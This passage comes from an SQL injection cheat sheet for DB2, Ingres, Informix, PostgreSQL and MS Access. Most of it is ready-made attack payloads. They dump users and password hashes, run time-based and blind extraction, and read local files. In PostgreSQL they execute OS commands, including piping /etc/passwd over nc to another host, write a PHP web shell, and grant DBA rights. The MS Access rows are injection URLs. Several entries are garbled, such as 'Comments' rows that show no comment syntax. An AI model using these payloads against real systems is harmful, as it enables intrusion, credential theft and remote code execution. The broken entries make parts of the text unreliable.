| List Tables | * ***SELECT table\_name FROM sysibm.tables;***   *—* This command obtains the list ‘table\_name’ from table sysibm.tables.   * ***SELECT name FROM sysibm.systables;***   *—* This command obtains the list ‘name’ from table sysibm.systables. |
| Column Names | * ***SELECT name, tbname, coltype FROM sysibm.syscolumns;***   *—* This command obtains the column names- ‘name’, ‘tbname’ and ‘coltype’ from table sysibm.syscolumns.  *—* syscat and sysstat and can also be used in place of sysibm. |
| Select Nth Row | * ***SELECT name from*** (***SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only***) ***sq order by name desc;***   *—* This command returns first N rows only from sysibm.systables. |
| Select Nth Char | * ***SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1;***   — This command returns b. |
| If Statement | * Seems only allowed in stored procedures. Use case logic instead. |
| Case Statement | * ***SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1***   — If the condition is true, 'AAAAAAAAAA' is returned. |
| Comments | * ***select blah from foo;***   — This command is used for writing a comment. |
| String without Quotes | * ***SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”.***   *—* This command returns a string without quotes.  *—* It can be used without select. |
| Time Delay | * Heavy queries, for example:   ***' and (SELECT count(\*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68;***  — If user starts with ASCII 68 ('D'), the heavy query will be executed, delaying the response. However, if user doesn’t start with ASCII 68, the heavy query won’t execute and thus the response will be faster. |
| Command Execution | * This functionality is allowed from procedures or UDFs. |
| List Password Hashes | * N/A (OS User Accounts) |
| List DBA Accounts | * ***SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y';***   *—* This command returns a list of DBA accounts from table sysibm.systabauth having CONTROLAUTH value ‘Y’. |
| Local File Access | * This functionality is available through stored procedures or DB2 tool. |
| Hostname, IP Address | * ***SELECT os\_name,os\_version,os\_release,host\_name FROM sysibmadm.env\_sys\_info;***   — This command obtains the Hostname, and IP address of a system from sysibmadm.env\_sys\_info. |
| Serialize XML: For Error based | * ***SELECT xmlagg(xmlrow(table\_schema)) FROM sysibm.tables;***   — This command returns all in one xml-formatted string.   * ***SELECT xmlagg(xmlrow(table\_schema)) FROM (SELECT distinct(table\_schema) FROM sysibm.tables);***   — This command returns all in one xml-formatted string excluding redundant elements.   * ***SELECT xml2clob(xmelement(name t, table\_schema)) FROM sysibm.tables;***   — This command returns all in one xml-formatted string (v8).   * ***CAST(xml2clob(… AS varchar(500));***   — This command is used to display the result. |
| Default Databases | * ***SYSIBM*** * ***SYSCAT*** * ***SYSSTAT*** * ***SYSPUBLIC*** * ***SYSIBMADM*** * ***SYSTOOLS*** |
| Location of DB Files | * ***SELECT \* FROM sysibmadm.reg\_variables WHERE reg\_var\_name='DB2PATH';***   *—* This command obtains the location of DB files. |
| Privileges | * ***select \* from syscat.tabauth;***   — This command obtains all the users having privileges on a particular table or view in the database   * ***select \* from syscat.dbauth where grantee = current user;***   — This command obtains the current user having privileges on a particular table or view in the database.   * ***select \* from syscat.tabauth where grantee = current user;***   — This command obtains the current user having table and view privileges.   * ***select \* from SYSIBM.SYSUSERAUTH;***   — This command lists the users with system privileges. |

1. **Ingres SQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT dbmsinfo('\_version');***   — This command retrieves the system information of the current installation of SQL Database. |
| List Users | First connect to ***iidbdb***, then   * ***SELECT name, password FROM iiuser;***   — This command retrieves the columns ‘name’ and ‘password’ from the table ‘iiuser’.   * ***SELECT own FROM iidatabase;***   *—* This command lists the names of users from the table ‘iidatabase’. |
| Current User | * ***select dbmsinfo(‘session\_user’);*** * ***select dbmsinfo(‘system\_user’);***   *—* These commands return the user id of the current user. |
| List all Database | * ***SELECT name FROM iidatabase;***   *—*This command obtains a column name ‘name’ having a list of databases from the table ‘iidatabase’. |
| Current Database | * ***select dbmsinfo(‘database’);***   *—* This command obtains the current SQL database. |
| List Tables | * ***SELECT table\_name, table\_owner FROM iitables;***   *—* This command obtains the columns ‘table\_name’ and ‘table\_owner’ from the table ‘iitables’.   * ***SELECT relid, relowner, relloc FROM iirelation;***   *—* This command obtains the columns ‘relid’, ‘relowner’ and ‘relloc’ from the table ‘iirelation’.   * ***SELECT relid, relowner, relloc FROM iirelation WHERE relowner != '$ingres';***   *—* This command obtains the columns ‘relid’, ‘relowner’ and ‘relloc’ from the table ‘iirelation’ having ‘relowner’ value as !=’$ingres’. |
| List Column | * ***SELECT column\_name, column\_datatype, table\_name, table\_owner FROM iicolumns;***   *—* This command lists columns ‘column\_name’, ‘column\_datatype’, ‘table\_name’ and ‘table\_owner’ from the table ‘iicolumns’. |
| Select Nth Row | * This functionality is not possible, but following command can be used to some extent: * ***get:select top 10 blah from table;*** — This command obtains first 10 blah form table. |
| Select Nth Char | * ***select substr(‘abc’, 2, 1);***   — This command returns ‘b’. |
| Comments | * ***SELECT 123;***   — This command is used for writing a comment.   * ***SELECT 123; /\* comment \*/***   — This command is used to comment out a statement. |
| List Password Hashes | * First connect to ***iidbdb***, then: ***select name, password from iiuser;***   — This command obtains password hashes from table ‘iiuser’. |
| Hostname, IP Address | * ***SELECT dbmsinfo(‘ima\_server’)***   — This command obtains the Hostname and IP address of a system. |
| Logging in from command Line | * ***$ su -  ingres***   ***$ sql iidbdb***  ***\* select dbmsinfo(‘\_version’); go***  — This command can be used to log in from command line. |
| Default Databases | * ***SELECT name FROM iidatabase WHERE own = '$ingres';***   *—* This command lists the databases from ‘iidatabase’. |
| Location of DB Files | * ***SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE name = ‘value’;***   — This command obtains primary location of db.   * ***SELECT lname FROM iiextend WHERE dname = ‘value’;***   — This command obtains extended location of db.   * ***SELECT are FROM iilocations where lname = ‘value’;***   — This command obtains all area (i.e. directory) linked with a location. |
| Privileges | * ***SELECT dbmsinfo('db\_admin');***   — This command retrieves the users with ‘db\_admin’ privilege.   * ***SELECT dbmsinfo('create\_table');***   — This command retrieves the users with 'create\_table' privilege.   * ***SELECT dbmsinfo('create\_procedure');***   — This command retrieves the users with 'create\_procedure' privilege.   * ***SELECT dbmsinfo('security\_priv');***   — This command retrieves the users with 'security\_priv' privilege.   * ***SELECT dbmsinfo('SELECT\_syscat');***   — This command retrieves the users with 'SELECT\_syscat' privilege.   * ***SELECT dbmsinfo('db\_privileges');***   — This command retrieves the users with 'db\_privileges' privilege.   * ***SELECT dbmsinfo('current\_priv\_mask');***   — This command retrieves the users with 'current\_priv\_mask' privilege. |

1. **Informix SQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;***   — This command retrieves the version and complete information from the table ‘systables’ having tabid value as ‘1’.   * ***SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1;***   — This command retrieves the version and server information from the table ‘systables’ having tabid value as ‘1’.   * ***SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1;***   — This command retrieves the version, major and minor information from the table ‘systables’ having tabid value as ‘1’.   * ***SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1;***   — This command retrieves the version and OS information from the table ‘systables’ having tabid value as ‘1’. |
| List Users | * ***SELECT username, usertype, password from sysusers;***   *—* This command lists the usernames, usertype and password from the table sysusers. |
| Current User | * ***SELECT USER FROM systables WHERE tabid = 1;***   *—* This command obtains the column ‘USER’ from table ‘systables’ having tabid value as ‘1’.   * ***SELECT CURRENT\_ROLE FROM systables WHERE tabid = 1;***   *—* This command obtains the column ‘CURRENT\_ROLE’ from table ‘systables’ having tabid value as ‘1’. |
| List all Database | * ***SELECT name, owner from sysdatabases;***   *—* This command obtains the list of all the databases from the database ‘sysdatabases’. |
| Current Database | * ***SELECT DBSERVERNAME FROM systables where tabid = 1;***   — This command obtains the column ‘DBSERVERNAME’ current server name from table ‘systable’ having tabid value as ‘1’. |
| List Tables | * ***SELECT tabname, owner FROM systables;***   — This command obtains the columns ‘tabname’ and ‘owner’ from table ‘systable’.   * ***SELECT tabname, viewtext FROM sysviews  JOIN systables ON systables.tabid = sysviews.tabid;***   — This command selects columns ‘tabname’ and ‘viewtext’ from the table ‘sysviews’ and joins with the same columns of table ‘systables’, condition being ‘systables.tabid=sysviews.tabid’. |
| List Columns | * ***SELECT tabname, colname, owner, coltype FROM syscolumns JOIN systables ON syscolumns.tabid = systables.tabid;***   — This command selects columns ‘tabname’, ‘colname’, ‘owner’, and ‘coltype’ from the table ‘syscolumns’ and joins with the same columns of table ‘systables’, condition being ‘syscolumns.tabid=systables.tabid’. |
| Select Nth Row | * ***SELECT first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc;***   — This command retrieves the 10th row. |
| Select Nth Char | * ***SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1;***   — This command returns ‘C’. |
| Case Statement | * ***SELECT tabid, case when tabid>10 then “High” else ‘Low’ end from systables;***   — This command returns “High” for columns ‘tabid’ and ‘case’, if tabid is greater than 10 else returns “Low”. |
| Comments | * ***select 1 FROM systables WHERE tabid = 1;***   — This command is used for writing a comment. |
| Hostname, IP Address | * ***SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1;***   — This command returns hostname and IP address information from table ‘systables’ having tabid value as ‘1’. |
| Default Databases | These are the system databases:   * ***sysmaster*** * ***ysadmin\**** * ***ysuser\**** * ***ysutils\**** |
| Privileges | * ***SELECT tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid;***   — This command is used to find out that which user has access to which table.   * ***SELECT procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid;***   — This command is used to find out that which user has access to which procedures. |

1. **Postgre SQL Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| Version | * ***SELECT version();***   *—* This command obtains the version and built information of a database. |
| List Users | * ***SELECT usename FROM pg\_user;***   *—* This command obtains the column ‘usename’ from the table ‘pg\_user’. |
| Current User | * ***SELECT user;***   *—* This command obtains a name of recently logged in user.   * ***SELECT current\_user;***   *—* This command obtains a name of current user.   * ***SELECT session\_user;***   *—* This command obtains a name of current session user.   * ***SELECT usename FROM pg\_user;***   *—* This command obtains the column ‘usename’ from table ‘pg\_user’.   * ***SELECT getpgusername();***   *—* This command obtains the user name in current session. |
| List all Database | * ***SELECT datname FROM pg\_database;***   *—* This command obtains the list of database in column ‘datname’ from table ‘pg\_database’. |
| Current Database | * ***SELECT current\_database();***   *—* This command obtains the current database. |
| Load File | * ***SELECT pg\_read\_file('global/pg\_hba.conf',0,10000000);***   — This command is used to read only the content of the DATA directory. |
| List Tables | * ***SELECT c.relname FROM pg\_catalog.pg\_class c LEFT JOIN pg\_catalog.pg\_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg\_catalog’, ‘pg\_toast’) AND pg\_catalog.pg\_table\_is\_visible(c.oid);***   — This command lists the tables present in the database. |
| List Columns | * ***SELECT relname, A.attname FROM pg\_class C, pg\_namespace N, pg\_attribute A, pg\_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’);***   — This command lists the columns present in the database. |
| Select Nth Row | * ***SELECT usename FROM pg\_user ORDER BY usename LIMIT 1 OFFSET 0;***   — This command returns rows numbered from 0.   * ***SELECT usename FROM pg\_user ORDER BY usename LIMIT 1 OFFSET 1;***   — This command returns rows numbered from 1. |
| Select Nth Char | * ***SELECT substr(‘abcd’, 3, 1);***   — This command returns c. |
| If Statement | * IF statements only seem valid inside functions, therefore they are of less use in SQL injection statement. * See CASE statement instead. |
| Case Statement | * ***SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;***   — This command returns A. |
| Comments | * ***SELECT 1;***   — This command is used for writing a comment.   * ***SELECT /\*comment\*/1;***   — This command is used to comment out a statement. |
| String without Quotes | * ***SELECT (CHAR(75)||CHAR(76)||CHAR(77))***   *—* This command will return ‘KLM’. |
| Time Delay | * ***SELECT pg\_sleep(10);***   *—* This command triggers a measurable sleep time.  — In postgres is 8.2+ only.   * ***CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10);***   — This command is to create your own sleep function. |
| Command Execution | * ***CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;*** — priv * ***SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′);***   — This commands run as postgres/pgsql OS-level user. |
| Make DNS Requests | * Generally, not it is not applicable in postgres.  However, if [contrib/dblink](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html)is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): * ***SELECT \* FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);***   Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
| Remote Authentication | * You should add “host” record to the pg\_hba.conf file located in the DATA directory.   ***host all all 192.168.20.0/24 md5;*** |
| List Passwords | * ***SELECT pg\_read\_file('global/pg\_auth',0,10000000);***   *—* This command lists passwords from a given database. |
| List Password Hashes | * ***SELECT usename, passwd FROM pg\_shadow;***   — This command is used obtain password hashes from a given database. |
| Bulk Insert | * To read data from local files, first you should create a temporary file for that. Read file contents into this table, then read the data from table.   ***CREATE TABLE temptable(t text);***  ***COPY temptable FROM 'c:/boot.ini';***  ***SELECT \* FROM temptable  LIMIT 1 OFFSET 0***  This functionality needs permissions for the service user who has been running database service. On default, it is not possible to read local files on Windows systems because postgres user doesn’t have read permissions.   * Drop the temporary file after exploitation.   **DROP TABLE temptable*;*** |
| Create Users | * ***CREATE USER test1 PASSWORD ‘pass1';***   *—* This command creates a user name ‘USER test1’ having password ‘pass1’.   * ***CREATE USER test1 PASSWORD ‘pass1' CREATEUSER;***   *—* This command creates a user name ‘USER test1’ having password ‘pass1’ and at the same time privileges are granted the user. |
| Drop User | * ***DROP USER test1;***   *—* This command drops user name ‘USER test1’. |
| List DBA Accounts | * ***SELECT usename FROM pg\_user WHERE usesuper IS TRUE***   *—* This command obtains a list of user names with DBA privileges. |
| Make user DBA | * ***ALTER USER test1 CREATEUSER CREATEDB;***   *—* This command grants DBA privileges to a user name ‘USER test1’. |
| Local File Access | * ***CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’;***   — priv, *can read files which are readable by postgres OS-level user*   * ***…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;***   — This command gets data back one row at a time.   * ***…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;***   — This command gets data back one row at a time.   * ***DROP TABLE mytest mytest;Write to a file:***   — This command drops a table and then write it to another text file.   * ***CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (‘<? pasthru($\_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’;***   — priv,write files as postgres OS-level user***.***  Generally, you will not be able to write to the web root.  — priv user can also read/write files by mapping libc functions. |
| Hostname, IP Address | * ***SELECT inet\_server\_addr();***   — This command returns db server IP address (or null if using local connection).   * ***SELECT inet\_server\_port();***   — This command returns db server IP address (or null if using local connection) |
| Error Based SQLi attack:  To throw conversion errors. | * ***cast((chr(95)||current\_database()) as numeric);***   — This command is used to receive integer inputs.   * ***'||cast((chr(95)||current\_database()) as numeric)||';***   — This command is used to receive string inputs. |
| Clear SQLi Tests:  For Boolean SQL injection and silent attacks | * ***product.php?id=4*** * ***product.php?id=5-1*** * ***product.php?id=4 OR 1=1*** * ***product.php?id=-1 OR 17-7=10***   — These commands can be used as tests for Boolean SQL injection and silent attacks***.*** |
| Time based SQLi Exploitation | * ?***vulnerableParam=-1; SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({INJECTION}),1,1)),0) > 100) THEN pg\_sleep(14) ELSE pg\_sleep(0) END LIMIT 1--+;***   {INJECTION} = You want to run the query.  — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second. |
| Default Databases | * ***template0*** * ***template1*** |
| Path of DB files | * ***SELECT current\_setting('data\_directory');***   — This command returns the path of data\_directory (*C:/Program Files/PostgreSQL/8.3/data)*   * ***SELECT current\_setting('hba\_file');***   — This command returns the path of hba\_file (*C:/Program Files/PostgreSQL/8.3/data/pg\_hba.conf)* |
| Location of DB Files | * ***SELECT current\_setting(‘data\_directory’);***   — This command returns the location of the data\_directory.   * ***SELECT current\_setting(‘hba\_file’);***   — This command returns the location of the hba\_file. |
| privileges | * ***SELECT usename, usecreatedb, usesuper, usecatupd FROM pg\_user***   — This command returns the user names along with their privileges from the table ‘pg\_user’. |

1. **MS ACCESS Database**

|  |  |
| --- | --- |
| **Query** | **Command** |
| List Tables | * **SELECT Name FROM msysobjects WHERE Type = 1;**   — This command retrieves column name ‘Name’ from the table ‘msysobjects’ having type value as ‘1’. |
| Query Comment | * Comment characters are not available in Microsoft Access. However, it is possible to remove useless part of a query with the NULL char (%00). A query truncation looks like:   ***http://localhost/script.asp?id=1’+UNION+SELECT+1,2,3,4+FROM+someValidTabName%00;*** |
| Syntax error messages | * Apache (PHP):   ***Fatal error: Uncaught exception 'com\_exception' with message 'Source: Microsoft JET Database Engine Description: [...];***   * IIS (ASP):   ***Microsoft JET Database Engine error '80040e14';*** |
| Stacked Query | * Stacked queries are not allowed. |
| Sub query | * Subqueries are supported by MS Access. In the following example, *TOP 1* is used to return one row only:   ***http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+FROM+table)%00;*** |
| Hardcoded Query Returning 0 Rows | * In some cases, it is useful to include in the web application response the outcome of our *UNION SELECT* query only, making the hardcoded query returning 0 results. A common trick can be used for our purpose:   ***http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00;*** |
| Limit Support | * The *LIMIT*operator is not implemented within MS Access. However, it is possible to limit SELECT query results to the first N table rows using the TOP operator. TOP accepts as argument an integer, representing the number of rows to be returned.   ***http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00;***   * In the above example, In addition to *TOP*, the operator *LAST* can be used to fully emulate the behavior of *LIMIT*. |
| String Length | * ***http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FROM+table%00;***   This request above returns 4, the length of the string “1234”. |
| Substring | * ***http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+FROM+table%00;*** * ***http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+FROM+table%00;***   *—* The operator *MID*can be used to select a portion of a specified string  *—* The first query returns the character ‘a’, whereas the second query returns ‘b’. |
| String Concatenation | * ***http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+FROM+table%00;*** * ***http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+FROM+table%00;***   *— &(%26)* and + *(%2b)* characters are used for string concatenation.  *—* Both queries return the string “webapp”. |
| IF THEN Conditional Statement | * ***IIF(condition, true, false);*** * ***http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FROM+table%00;***   *—* The *IIF* operator can be used to build an “if-then” conditional statement. As shown below, the syntax for this function is simple:  *—* This command returns the character ‘a’ as the condition *1=1* is always true. |
| Web Root Directory Full Path | * ***http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00;***   *—* Using the above request, MS Access responds with an error message containing the web directory full pathname. |
| Char From ASCII Value | * The *CHR* operator converts the argument character to its ASCII value:   ***http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+table%00;***  *—* This command returns the character ‘A’. |
| ASCII Value From Char | * The *ASC* operator returns the ASCII value of the character passed as argument:   ***http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+table%00;***  *—* This command returns 65, the ASCII value of the character ‘A’. |
| .mdb File Name Guessing | * Database file name (.mdb) can be inferred with the following query:   ***http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00;***  *—* Where *name[i]* is a .mdb filename and *realTable* is an existent table within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename. |
| .mdb Password Cracker | * **Access PassView** is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0 |
| Union Operator | * MS Access supports ***UNION*** and ***UNION ALL*** operators, although they require an existent table name within the ***FROM*** clause of the ***SELECT*** query. Table brute forcing can be used to obtain a valid table name. Please refer to last section (Another Bruteforcing Technique) of this document. |
| File Enumeration | * ***http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00;***   *—* By implementing the above request, if the specified file exists, MS Access triggers an error message informing that the database format is invalid   * Another way to enumerate files consists into specifying a *database.table* item   ***http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.ini.TableName%00;***  *—* By implementing the above command, if the specified file exists, MS Access displays a database format error message |
| Table Fields Enumeration | Table fields can be enumerated with a simple trick. First of all, it is necessary to find a valid table name. If error messages are not concealed, the name of table is usually included in the error messages. Let’s assume that *id* is a valid table name.  At this stage, we can use a well-known MS SQL server technique to enumerate all table fields.   * ***http://localhost/script.asp?id=1'+GROUP+BY+ID%00;***   *—* As the system will now respond with a slightly different error message including another field name, we can proceed with the following:   * ***http://localhost/script.asp?id=1'+GROUP+BY+ID,FIELD2%00;***   *—* Consequently, this process can be repeated several times until all field names have been uncovered. Note that it is not possible to use this technique if you are dealing with query like *“SELECT \* FROM”* |
| Table Rows Counting | * The total number of rows in a table can be discovered with the query: * ***http://localhost/script.asp?id=1'+AND+IIF((SELECT+COUNT(\*)+FROM+validTableName)=X,1,0)%00;***   *—* In the following, *TAB\_LEN* is the discovered number of rows. |
| Filters Evasion | * Backslash escaped input filtering can be easily bypassed in MS Access. Escaping user's inputs by adding backslashes is not enough in order to prevent SQL injection as the character ‘\’ is the integer divide operator. A clever example of bypass has been already discussed here. |
| Table and Field Names Brute forcing | * Using our favorite scripting language, it is possible to iterate on all wordlist items using the query:   ***http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FROM+$wordlist)%00;***  *—* If the ***$wordlist*** item exists, the web application should display a standard HTML response.   * Once obtained a valid table name, we can guess a field name in a similar way:   ***http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+FieldName[i]+FROM+validTableName)%00;*** |
| Blind SQL Injection | * Assuming that we have already discovered the vulnerable ‘id’ field, the table name and the field name, we can proceed using the following query:   ***http://localhost/index.asp?id=IIF((select%20mid(last(username),1,1)%20&#13;from%20(select%20top%2010%20username%20from%20users))='a',0,'ko');***   * In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the *TOP 10* operator, it is possible to select the first ten results. The subsequent usage of *LAST*allows to consider the 10th tuple only. * On such value, using the *MID*operator, it is possible to perform a simple character comparison. * Properly changing the index of *MID*and *TOP*, we can dump the content of the “username” field for all rows. |